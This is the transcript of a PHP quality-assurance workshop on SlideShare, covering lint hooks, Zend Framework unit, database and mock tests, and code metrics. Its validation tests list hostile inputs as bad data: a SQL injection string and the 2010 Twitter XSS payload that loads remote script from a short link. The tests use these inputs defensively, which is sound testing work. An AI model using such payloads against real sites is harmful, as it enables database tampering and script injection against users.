Workshop quality assurance for php projects tek12

  • 3,247 views
Uploaded on

This workshop is a hands-on training where a real Zend Framework application is used as an example to start improving QA using tools to test, document and perform software metric calculations to …

This workshop is a hands-on training where a real Zend Framework application is used as an example to start improving QA using tools to test, document and perform software metric calculations to indicate where the software can be improved. I also explain the reports produced by a CI system.

More in: Technology
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
No Downloads

Views

Total Views
3,247
On Slideshare
0
From Embeds
0
Number of Embeds
1

Actions

Shares
Downloads
40
Comments
0
Likes
1

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • safeguard the codebase\nprevent code breaks\n
  • \n
  • Observe how your code behaves\n- security wise\n- performance wise\n- scalability wise\n
  • detect bugs early\n
  • track progress of your development\n
  • \n
  • a healthy code in codebase\n
  • \n
  • \n
  • save time in development\nsave time in after sales support\n
  • Continuous feedback\n
  • Having always a package ready to launch\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • cyclo most important: cyclomatic complexity of classes\n\n
  • calls: distinct function and method calls\nfanout: types referenced by classes and interfaces\n\n
  • too much inheritance!\nneed to see if it’s derrived from 1 base class or different classes\n\n
  • babies 0m: very flexible, but no stability\nadults age 25: stable, but limited flexibility\naged 80: very stable (artrose), but no flexibility\n
  • babies 0m: very flexible, but no stability\nadults age 25: stable, but limited flexibility\naged 80: very stable (artrose), but no flexibility\n
  • babies 0m: very flexible, but no stability\nadults age 25: stable, but limited flexibility\naged 80: very stable (artrose), but no flexibility\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • You should do this every time you make a change!\n
  • phing is a solution\n
  • \n
  • A quick example of checking syntax with php lint\n
  • define your project with a name and a default target to execute\n
  • You can set global properties and override them with local properties (like passwords)\n
  • Throughout execution we need a listing of files, this is how you can define them\n
  • define phplint using our defined file listing and halt on failures\n
  • close our project\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Don’t forget to change the project default tag!!!\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Now your whole team runs everything the same way over and over again\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n

Transcript

  • 1. Quality Assurancefor PHP projects Tek 12, Chicago
  • 2. Michelangelo van Dam
  • 3. Schedule Workshop Introduction to Quality Assurance Revision control Documenting Testing Measuring Automating Team works!
  • 4. #tek12wsqa
  • 5. Introduction to QA
  • 6. Why QA?
  • 7. Why QASafeguarding code
  • 8. Detect bugs early
  • 9. Observe behavior
  • 10. Prevent accidents from happening
  • 11. Tracking progress
  • 12. Why invest in QA?
  • 13. Keeps your code in shape
  • 14. Measures speed and performance
  • 15. Boosts team spirit
  • 16. Saves time
  • 17. Reports continuously
  • 18. Delivers ready to deploy packages
  • 19. Quality Assurance Tools
  • 20. Revision Control
  • 21. Subversion
  • 22. GIT
  • 23. github
  • 24. Mercurial
  • 25. Bazaar
  • 26. Advantages of SCM TIP: hooks• team development possible for tools• tracking multi-versions of source code• moving back and forth in history• tagging of milestones• backup of source code•- accessible from command line - native apps - IDE’s - analytical tools
  • 27. Syntax Checking
  • 28. php -l (lint)http://www.php.net/manual/en/features.commandline.options.php
  • 29. PHP Lint TIP: pre-commit• checks the syntax of code• build in PHP core•- is used per file pre-commit hook for version control system - batch processing of files• can provide reports - but if something fails -> the build fails
  • 30. Syntaxphp -lf /path/to/filename.php
  • 31. PHP Lint on Command
  • 32. SVN Pre commit hook#!/bin/sh## Pre-commit hook to validate syntax of incoming PHP files, if no failures it# accepts the commit, otherwise it fails and blocks the commitREPOS="$1"TXN="$2"# modify these system executables to match your systemPHP=/usr/bin/phpAWK=/usr/bin/awkGREP=/bin/grepSVNLOOK=/usr/bin/svnlook# PHP Syntax checking with PHP Lint# originally from Joe Stump at Digg# https://gist.github.com/53225#for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK {print $2}`do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = FALSE ]; then echo $CHECK 1>&2; exit 1 fi fidone
  • 33. SVN pre-commit hook
  • 34. Documenting
  • 35. Why documenting?• new members in the team• working with remote workers• analyzing improvements• think before doing• used by IDE’s and editors for code hinting ;-)
  • 36. PHPDoc2phpDocumentor + DocBlox March 16, 2012
  • 37. Phpdoc2
  • 38. Phpdoc2 class details
  • 39. Based on docblocks in
  • 40. And the output
  • 41. Phpdoc2 class relation
  • 42. Phpdoc2 on your project
  • 43. Testing
  • 44. developer testing 201:when to mock and when to integrate
  • 45. Any reasons not to test?
  • 46. Most common excuses• no time• not within budget• development team does not know how• tests are provided after delivery•…
  • 47. NO EXCUSES!
  • 48. The cost of bugs Bugs Project Costs100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
  • 49. The cost of bugs Bugs Project Costs Unittests100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
  • 50. Maintainability•- during development test will fail indicating bugs•- after sales support testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it!• long term projects - refactoring made easy
  • 51. Remember“Once a test is made, it will always be tested!”
  • 52. Confidence•- for the developer code works•- for the manager project succeeds•- for sales / general management / share holders making profit•- for the customer paying for what they want
  • 53. Unit testing ZF apps
  • 54. Setting things up
  • 55. phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter></phpunit>
  • 56. TestHelper.php<?php// set our app paths and environmentsdefine(BASE_PATH, realpath(dirname(__FILE__) . /../));define(APPLICATION_PATH, BASE_PATH . /application);define(TEST_PATH, BASE_PATH . /tests);define(APPLICATION_ENV, testing);// Include pathset_include_path( . PATH_SEPARATOR . BASE_PATH . /library . PATH_SEPARATOR . get_include_path());// Set the default timezone !!!date_default_timezone_set(Europe/Brussels);// We wanna catch all errors en strict warningserror_reporting(E_ALL|E_STRICT);require_once Zend/Application.php;$application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini);$application->bootstrap();
  • 57. Zend_Tool since 1.11.4• provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
  • 58. Let’s get started…
  • 59. Testing Zend_Form
  • 60. CommentForm Name:E-mail Address: Website: Comment: Post
  • 61. Start with the test<?phpclass Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase{ protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; }}
  • 62. The good stuffpublic function goodData(){ return array ( array (John Doe, john.doe@example.com, http://example.com, test comment), array ("Matthew Weier OPhinney", matthew@zend.com, http://weierophinney.net, Doing an MWOP-Test), array (D. Keith Casey, Jr., Keith@CaseySoftware.com, http://caseysoftware.com, Doing a monkey dance), );}/** * @dataProvider goodData */public function testFormAcceptsValidData($name, $email, $web, $comment){ $data = array ( name => $name, mail => $mail, web => $web, comment => $comment, ); $this->assertTrue($this->_form->isValid($data));}
  • 63. Protection!Protection
  • 64. Little Bobby Tables http://xkcd.com/327/
  • 65. Twitter Hack http://xkcd.com/327/http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html
  • 66. The bad stuffpublic function badData(){ return array ( array (,,,), array ("Robert; DROP TABLES comments; --", , http://xkcd.com/327/,Little Bobby Tables), array (str_repeat(x, 100000), , , ), array (John Doe, jd@example.com, "http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript(http:u002fu002fis.gdu002ffl9A7)"/", exploit twitter 9/21/2010), );}/** * @dataProvider badData */public function testFormRejectsBadData($name, $email, $web, $comment){ $data = array ( name => $name, mail => $mail, web => $web, comment => $comment, ); $this->assertFalse($this->_form->isValid($data));}
  • 67. Create the form class<?phpclass Application_Form_CommentForm extends Zend_Form{ public function init() { /* Form Elements & Other Definitions Here ... */ }}
  • 68. Let’s run the test
  • 69. Let’s put in our elements<?phpclass Application_Form_CommentForm extends Zend_Form{ public function init() { $this->addElement(text, name, array ( Label => Name, Required => true)); $this->addElement(text, mail, array ( Label => E-mail Address, Required => true)); $this->addElement(text, web, array ( Label => Website, Required => false)); $this->addElement(textarea, comment, array ( Label => Comment, Required => true)); $this->addElement(submit, post, array ( Label => Post, Ignore => true)); }}
  • 70. Less errors?
  • 71. Filter - Validate$this->addElement(text, name, array ( Label => Name, Required => true, Filters => array (StringTrim, StripTags), Validators => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(text, mail, array ( Label => E-mail Address, Required => true, Filters => array (StringTrim, StripTags, StringToLower), Validators => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(text, web, array ( Label => Website, Required => false, Filters => array (StringTrim, StripTags, StringToLower), Validators => array ( new Zend_Validate_Callback(array(Zend_Uri, check)), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(textarea, comment, array ( Label => Comment, Required => true, Filters => array (StringTrim, StripTags), Validators => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array (max => 5000))),));
  • 72. Green, warm & fuzzy
  • 73. You’re a winner!☑ quality code☑ tested☑ secure☑ reusable
  • 74. Testing models
  • 75. Testing business logic•- models contain logic tied to your business - tied to your storage - tied to your resources• no “one size fits all” solution
  • 76. Type: data containers•- contains structured data populated through setters and getters•- perform logic tied to it’s purpose transforming data - filtering data - validating data• can convert into other data types - arrays - strings (JSON, serialized, xml, …)• are providers to other models
  • 77. Comment Class
  • 78. Writing model test<?phpclass Application_Model_CommentTest extends PHPUnit_Framework_TestCase{ protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); }}
  • 79. This test won’t run!
  • 80. Create a simple model<?phpclass Application_Model_Comment{ protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( id => $this->getId(), fullName => $this->getFullName(), emailAddress => $this->getEmailAddress(), website => $this->getWebsite(), comment => $this->getComment(), ); }}
  • 81. We pass the test…
  • 82. Really ???
  • 83. Not all data from form!•- model can be populated from users through the form - data stored in the database - a webservice (hosted by us or others)• simply test it - by using same test scenario’s from our form
  • 84. The good stuffpublic function goodData(){ return array ( array (John Doe, john.doe@example.com, http://example.com, test comment), array ("Matthew Weier OPhinney", matthew@zend.com, http://weierophinney.net, Doing an MWOP-Test), array (D. Keith Casey, Jr., Keith@CaseySoftware.com, http://caseysoftware.com, Doing a monkey dance), );}/** * @dataProvider goodData */public function testModelAcceptsValidData($name, $mail, $web, $comment){ $data = array ( fullName => $name, emailAddress => $mail, website => $web, comment => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail(Unexpected exception should not be triggered); } $data[id] = 0; $data[emailAddress] = strtolower($data[emailAddress]); $data[website] = strtolower($data[website]); $this->assertSame($this->_comment->toArray(), $data);}
  • 85. The bad stuffpublic function badData(){ return array ( array (,,,), array ("Robert; DROP TABLES comments; --", , http://xkcd.com/327/,Little BobbyTables), array (str_repeat(x, 1000), , , ), array (John Doe, jd@example.com, "http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript(http:u002fu002fis.gdu002ffl9A7)"/", exploit twitter9/21/2010), );}/** * @dataProvider badData */public function testModelRejectsBadData($name, $mail, $web, $comment){ $data = array ( fullName => $name, emailAddress => $mail, website => $web, comment => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail(Expected exception should be triggered);}
  • 86. Let’s run it
  • 87. Modify our modelprotected $_filters;protected $_validators;public function __construct($params = null){ $this->_filters = array ( id => array (Int), fullName => array (StringTrim, StripTags, new Zend_Filter_Alnum(true)), emailAddress => array (StringTrim, StripTags, StringToLower), website => array (StringTrim, StripTags, StringToLower), comment => array (StringTrim, StripTags), ); $this->_validators = array ( id => array (Int), fullName => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array (min => 4, max => 50)), ), emailAddress => array ( EmailAddress, new Zend_Validate_StringLength(array (min => 4, max => 50)), ), website => array ( new Zend_Validate_Callback(array(Zend_Uri, check)), new Zend_Validate_StringLength(array (min => 4, max => 50)), ), comment => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array (max => 5000)), ), ); if (null !== $params) { $this->populate($params); }}
  • 88. Modify setters: Id & namepublic function setId($id){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (id => $id)); if (!$input->isValid(id)) { throw new Zend_Exception(Invalid ID provided); } $this->_id = (int) $input->id; return $this;}public function setFullName($fullName){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (fullName => $fullName)); if (!$input->isValid(fullName)) { throw new Zend_Exception(Invalid fullName provided); } $this->_fullName = (string) $input->fullName; return $this;}
  • 89. Email & websitepublic function setEmailAddress($emailAddress){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (emailAddress => $emailAddress)); if (!$input->isValid(emailAddress)) { throw new Zend_Exception(Invalid emailAddress provided); } $this->_emailAddress = (string) $input->emailAddress; return $this;}public function setWebsite($website){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (website => $website)); if (!$input->isValid(website)) { throw new Zend_Exception(Invalid website provided); } $this->_website = (string) $input->website; return $this;}
  • 90. and commentpublic function setComment($comment){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (comment => $comment)); if (!$input->isValid(comment)) { throw new Zend_Exception(Invalid comment provided); } $this->_comment = (string) $input->comment; return $this;}
  • 91. Now we’re good!
  • 92. Testing Databases
  • 93. Integration Testing•- database specific functionality triggers - constraints - stored procedures - sharding/scalability• data input/output - correct encoding of data - transactions execution and rollback
  • 94. Points of concern•- beware of automated data types auto increment sequence ID’s - default values like CURRENT_TIMESTAMP• beware of time related issues - timestamp vs. datetime - UTC vs. local time
  • 95. The domain Model• Model object• Mapper object• Table gateway object Read more about it ☞
  • 96. Change our test classclass Application_Model_CommentTest extends PHPUnit_Framework_TestCasebecomesclass Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  • 97. Setting DB Testing upprotected $_connectionMock;public function getConnection(){ if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini); $this->bootstrap->bootstrap(db); $db = $this->bootstrap->getBootstrap()->getResource(db); $this->_connectionMock = $this->createZendDbConnection( $db, zftest ); return $this->_connectionMock; }}public function getDataSet(){ return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . /../tests/_files/initialDataSet.xml));}
  • 98. initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
  • 99. Testing SELECTpublic function testDatabaseCanBeRead(){ $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/selectDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  • 100. selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
  • 101. Testing UPDATEpublic function testDatabaseCanBeUpdated(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment(I like you picking up the challenge!); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/updateDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  • 102. updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
  • 103. Testing DELETEpublic function testDatabaseCanDeleteAComment(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/deleteDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  • 104. deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
  • 105. Testing INSERTpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName(Michelangelo van Dam) ->setEmailAddress(dragonbe@gmail.com) ->setWebsite(http://www.dragonbe.com) ->setComment(Unit Testing, It is so addictive!!!); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/addDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  • 106. insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
  • 107. Run Test
  • 108. What went wrong here?
  • 109. AUTO_INCREMENT
  • 110. Testing INSERT w/ filterpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName(Michelangelo van Dam) ->setEmailAddress(dragonbe@gmail.com) ->setWebsite(http://www.dragonbe.com) ->setComment(Unit Testing, It is so addictive!!!); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array (comment => array (id))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/addDataSet.xml); $this->assertDataSetsEqual($expected, $filteredDs);}
  • 111. insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
  • 112. Run Test
  • 113. Testing web services
  • 114. Web services remarks•- you need to comply with an API that will be your reference•- you cannot always make a test-call paid services per call - test environment is “offline” - network related issues
  • 115. Example: joind.in
  • 116. http://joind.in/api
  • 117. JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . /../tests/_files/settings.xml)); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
  • 118. JoindinTestpublic function testJoindinCanGetUserDetails(){ $expected = <?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}public function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone(UTC)); $expected = <?xml version="1.0"?><response><dt> . $date->format(r) .</dt><test_string>testing unit test</test_string></response>; $actual = $this->_joindin->site()->getStatus(testing unit test); $this->assertXmlStringEqualsXmlString($expected, $actual);}
  • 119. Testing the service
  • 120. Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <ID>19</ID>- <last_login>1303248639</last_login>+ <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  • 121. And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <?xml version="1.0"?> <response>- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s ☹
  • 122. Solution… right here!
  • 123. Your expectations
  • 124. JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . /../tests/_files/settings.xml)); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
  • 125. JoindinUserMockTestpublic function testJoindinCanGetUserDetails(){ $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml<?xml version="1.0"?><response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item></response>EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = <?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}
  • 126. JoindinStatusMockTestpublic function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone(UTC)); $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml<?xml version="1.0"?><response> <dt>{$date->format(r)}</dt> <test_string>testing unit test</test_string></response>EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = <?xml version="1.0"?><response><dt> . $date->format(r) .</dt><test_string>testing unit test</test_string></response>; $actual = $this->_joindin->site()->getStatus(testing unit test); $this->assertXmlStringEqualsXmlString($expected, $actual);}
  • 127. Good implementation?
  • 128. Controller Testing
  • 129. Our form flow
  • 130. Setting up ControllerTest<?phpclass IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase{ public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini); parent::setUp(); }}
  • 131. Testing if form is on pagepublic function testIndexAction(){ $params = array( action => index, controller => index, module => default ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertQueryContentContains( h1#pageTitle, Please leave a comment); $this->assertQueryCount(form#commentForm, 1);}
  • 132. Test processingpublic function testProcessAction(){ $testData = array ( name => testUser, mail => test@example.com, web => http://www.example.com, comment => This is a test comment, ); $params = array(action => process, controller => index, module => default); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod(post); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertResponseCode(302); $this->assertRedirectTo(/index/success); $this->resetRequest(); $this->resetResponse(); $this->dispatch(/index/success); $this->assertQueryContentContains(span#fullName, $testData[name]);}
  • 133. REMARK•- data providers can be used to test valid data - to test invalid data• but we know it’s taken care of our model - just checking for error messages in form
  • 134. Test if we hit homepublic function testSuccessAction(){ $params = array( action => success, controller => index, module => default ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertRedirectTo(/);}
  • 135. Running the tests
  • 136. Testing it all
  • 137. Testing it all
  • 138. Our progress report
  • 139. Conclusion
  • 140. • unit testing is simple• combine integration tests with unit tests• test what counts• mock out what’s remote
  • 141. Fork this codehttp://github.com/DragonBe/zftest
  • 142. Measuring
  • 143. Code Analysis
  • 144. Questions• how stable is my code?• how flexible is my code?• how complex is my code?• how easy can I refactor my code?
  • 145. Answers• PHPDepend - Dependency calculations• PHPMD - Mess detections and code “smells”• PHPCPD - Copy/paste detection• PHPCS - PHP_CodeSniffer
  • 146. PHP Depend
  • 147. What?• generates metrics• measure health• identify parts to improve (refactor)
  • 148. pdepend pyramid
  • 149. • CYCLO: Cyclomatic Complexity• LOC: Lines of Code• NOM: Number of Methods• NOC: Number of Classes• NOP: Number of Packages• AHH: Average Hierarchy Height• ANDC: Average Number of Derived Classes• FANOUT: Number of Called Classes• CALLS: Number of Operation Calls
  • 150. Cyclomatic Complexity• metric calculation• execution paths•- independent control structures if, else, for, foreach, switch case, while, do, …• within a single method or function•- more info http://en.wikipedia.org/wiki/ Cyclomatic_complexity
  • 151. Average Hierarchy HeightThe average of the maximum length from a root class to its deepest subclass
  • 152. pdepend pyramidInheritance few classes derived from other classes lots of classes inherit from other classes
  • 153. pdepend pyramidSize and complexity
  • 154. pdepend pyramid Coupling
  • 155. pdepend pyramid High value
  • 156. pdepend-graphgraph about stability: a mix between abstract and concrete classes
  • 157. PHP Depend
  • 158. PHP Mess Detection
  • 159. What?•- detects code smells possible bugs - sub-optimal code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties
  • 160. PHPMD in action
  • 161. PHP Copy/Paste Detection
